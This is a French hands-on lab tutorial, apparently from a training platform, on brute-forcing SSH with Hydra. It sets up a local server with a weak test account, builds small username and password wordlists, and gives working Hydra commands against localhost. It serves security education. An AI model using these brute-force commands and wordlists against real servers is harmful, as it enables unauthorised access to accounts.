Attaque par force brute SSH avec Hydra

Introduction

Dans cet atelier, vous allez apprendre à mener des attaques par force brute contre des services SSH en utilisant Hydra, un outil de cassage de mots de passe très populaire dans le domaine de la cybersécurité. Cet exercice couvre l'installation de Hydra, la configuration d'un serveur cible avec des identifiants faibles et l'exécution d'attaques à l'aide de listes de mots (wordlists) préparées.

Vous acquerrez une expérience pratique de la configuration d'un environnement de test SSH et de l'analyse des capacités de force brute de Hydra. Cet atelier illustre des scénarios d'attaque réels tout en renforçant les principes du piratage éthique dans un cadre contrôlé.

Installer Hydra

Dans cette étape, nous allons installer Hydra, un puissant outil de cassage de mots de passe utilisé pour les attaques par force brute contre divers services réseau. Hydra est particulièrement utile pour les tests d'intrusion car il peut essayer systématiquement différentes combinaisons de noms d'utilisateur et de mots de passe pour accéder à des systèmes sécurisés. Il prend en charge de nombreux protocoles, notamment SSH (que nous utiliserons ici), FTP, HTTP, et bien d'autres.

Tout d'abord, ouvrez le terminal dans votre environnement VM LabEx. Le terminal est votre interface principale pour exécuter des commandes sous Linux. Assurez-vous d'être dans le répertoire de travail par défaut où nous effectuerons tout notre travail :
```
cd ~/project
```
Avant d'installer un nouveau logiciel, il est recommandé de mettre à jour votre liste de paquets. Cela garantit que vous obtiendrez la dernière version disponible de Hydra et de toutes ses dépendances :
```
sudo apt update
```
Nous allons maintenant installer Hydra à l'aide du gestionnaire de paquets apt, qui gère l'installation des logiciels sur les systèmes basés sur Debian comme Ubuntu. L'option -y confirme automatiquement l'installation :
```
sudo apt install -y hydra
```
Après l'installation, vérifions que Hydra est correctement installé en consultant sa version. La commande head -n 1 affiche uniquement la première ligne de la sortie, qui contient les informations de version :
```
hydra -h | head -n 1
```
Vous devriez voir une sortie similaire à :
```
Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
Hydra propose également une version avec interface graphique pour ceux qui préfèrent les outils visuels. Bien que nous utilisions la version en ligne de commande dans cet atelier, vous pouvez facultativement installer la version GUI GTK+ avec :
```
sudo apt install -y hydra-gtk
```

Configurer un serveur SSH cible

Dans cette étape, nous allons configurer un serveur SSH local qui servira de cible pour le cassage de mots de passe lors des étapes suivantes. Cela nous permet de pratiquer les techniques de test d'intrusion dans un environnement contrôlé. SSH (Secure Shell) est un protocole utilisé pour la connexion à distance sécurisée entre ordinateurs, et nous allons mettre en place une version vulnérable à des fins pédagogiques.

Tout d'abord, assurez-vous d'être dans le répertoire de travail par défaut. Il est important que tous nos fichiers d'atelier soient organisés au même endroit :
```
cd ~/project
```
Installez le paquet du serveur OpenSSH. Ce logiciel transformera votre machine en un serveur SSH capable d'accepter des connexions distantes :
```
sudo apt install -y openssh-server
```
Créez un compte utilisateur de test dédié avec un mot de passe faible (uniquement à des fins de démonstration). Dans des scénarios réels, des mots de passe faibles comme celui-ci sont exactement ce que recherchent les attaquants :
```
sudo useradd -m testuser
echo "testuser:password123" | sudo chpasswd
```
Configurez SSH pour autoriser l'authentification par mot de passe (temporairement pour cet atelier). Par défaut, de nombreux systèmes désactivent l'authentification par mot de passe pour des raisons de sécurité, mais nous l'activons ici pour démontrer le fonctionnement des attaques par force brute :
```
sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
```
Redémarrez le service SSH pour appliquer les modifications. Les services doivent souvent être redémarrés pour que les changements de configuration prennent effet :
```
sudo service ssh restart
```
Vérifiez que le serveur SSH est en cours d'exécution. Cette commande vérifie si notre serveur SSH est bien actif et à l'écoute des connexions :
```
sudo service ssh status
```
Vous devriez voir une sortie indiquant que le service est actif (running). Si ce n'est pas le cas, il se peut qu'une erreur soit survenue lors des étapes précédentes.
Testez la connexion SSH localement. Cette dernière vérification confirme que tout fonctionne avant de passer à la phase d'attaque :
```
ssh testuser@localhost -o StrictHostKeyChecking=no
```
Lorsque vous y êtes invité, saisissez le mot de passe password123. Après une connexion réussie, tapez exit pour revenir à votre session principale. L'option -o StrictHostKeyChecking=no empêche SSH de vous demander de vérifier l'empreinte du serveur, ce qui est acceptable dans cet environnement d'apprentissage.

Préparer une liste d'utilisateurs et de mots de passe

Dans cette étape, nous allons créer des fichiers texte contenant des noms d'utilisateur et des mots de passe potentiels que Hydra utilisera pour tenter de s'authentifier via SSH. Ces fichiers sont essentiels pour les attaques par force brute basées sur un dictionnaire. Une attaque par dictionnaire consiste à essayer systématiquement toutes les combinaisons possibles à partir de listes prédéfinies, c'est pourquoi la préparation de bonnes listes est cruciale.

Tout d'abord, assurez-vous d'être dans le répertoire de travail par défaut. Cela permet de garder vos fichiers de projet organisés et facilite leur référencement ultérieur :
```
cd ~/project
```
Créez un fichier de liste d'utilisateurs à l'aide de l'éditeur de texte nano. Les noms d'utilisateur courants sont souvent testés en premier car de nombreux systèmes utilisent des identifiants par défaut ou prévisibles :
```
nano usernames.txt
```
Ajoutez ces noms d'utilisateur courants (appuyez sur Ctrl+O pour enregistrer, puis Ctrl+X pour quitter) :
```
admin
root
testuser
user
guest
```
Créez un fichier de liste de mots de passe. Les mots de passe faibles comme ceux-ci sont fréquemment utilisés et constituent souvent les premières cibles lors des tests de sécurité :
```
nano passwords.txt
```
Ajoutez ces mots de passe courants :
```
password
password123
123456
qwerty
letmein
```
Vérifiez que les fichiers ont été créés correctement en affichant leur contenu. Cette étape de confirmation garantit qu'il n'y a pas de fautes de frappe ou de problèmes de formatage dans vos listes :
```
cat usernames.txt
cat passwords.txt
```
Vous devriez voir les listes que vous avez créées s'afficher dans le terminal.
(Facultatif) Générez des variations de mots de passe supplémentaires à l'aide de crunch. Cet outil permet de créer des listes de mots de passe plus complètes en générant automatiquement des combinaisons basées sur des modèles spécifiés :
```
sudo apt install -y crunch
crunch 4 6 0123456789 -o num_passwords.txt
```
Cela crée des mots de passe numériques d'une longueur comprise entre 4 et 6 caractères. La commande spécifie la longueur minimale (4), la longueur maximale (6) et le jeu de caractères (chiffres 0-9).

Exécuter Hydra contre SSH

Dans cette étape, nous allons utiliser Hydra pour effectuer une attaque par force brute contre notre serveur SSH local. La force brute est une méthode consistant à essayer de nombreuses combinaisons nom d'utilisateur/mot de passe jusqu'à trouver la bonne. Nous utiliserons les listes de mots préparées précédemment pour automatiser ce processus.

Tout d'abord, accédez au répertoire du projet contenant vos listes de mots. Cela garantit que Hydra peut trouver les fichiers que nous avons créés :
```
cd ~/project
```
Nous allons maintenant exécuter Hydra avec des paramètres spécifiques. La structure de la commande indique à Hydra quoi attaquer et comment. Décomposons-la :
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -vV
```
Explication des paramètres :
- -L usernames.txt : Pointe vers notre liste de noms d'utilisateur possibles.
- -P passwords.txt : Spécifie notre fichier de dictionnaire de mots de passe.
- ssh://localhost : Cible le service SSH sur cette machine.
- -t 4 : Contrôle la vitesse en limitant à 4 tentatives simultanées.
- -vV : Affiche la progression détaillée dans le terminal.
Pendant l'exécution de Hydra, chaque tentative s'affichera en temps réel. Lorsqu'il trouve des identifiants valides, ils apparaîtront clairement dans la sortie comme ceci :
```
[22][ssh] host: localhost   login: testuser   password: password123
```
(Facultatif) Pour conserver une trace permanente des résultats, nous pouvons les enregistrer dans un fichier. C'est utile pour la documentation ou une analyse ultérieure :
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -o results.txt
```
Une fois l'analyse terminée, vous pouvez consulter les résultats enregistrés avec :
```
cat results.txt
```

Résumé

Dans cet atelier, vous avez appris à mener une attaque par force brute sur SSH à l'aide de Hydra, un puissant outil de cassage de mots de passe. L'exercice a couvert l'installation de Hydra, la configuration d'un serveur SSH pour les tests et la création de listes ciblées de noms d'utilisateur et de mots de passe.

Vous vous êtes exercé à exécuter des attaques par dictionnaire et à analyser les résultats, démontrant ainsi comment des identifiants faibles peuvent être exploités. Cette expérience pratique souligne la nécessité cruciale de mots de passe robustes et de méthodes d'authentification sécurisées en cybersécurité.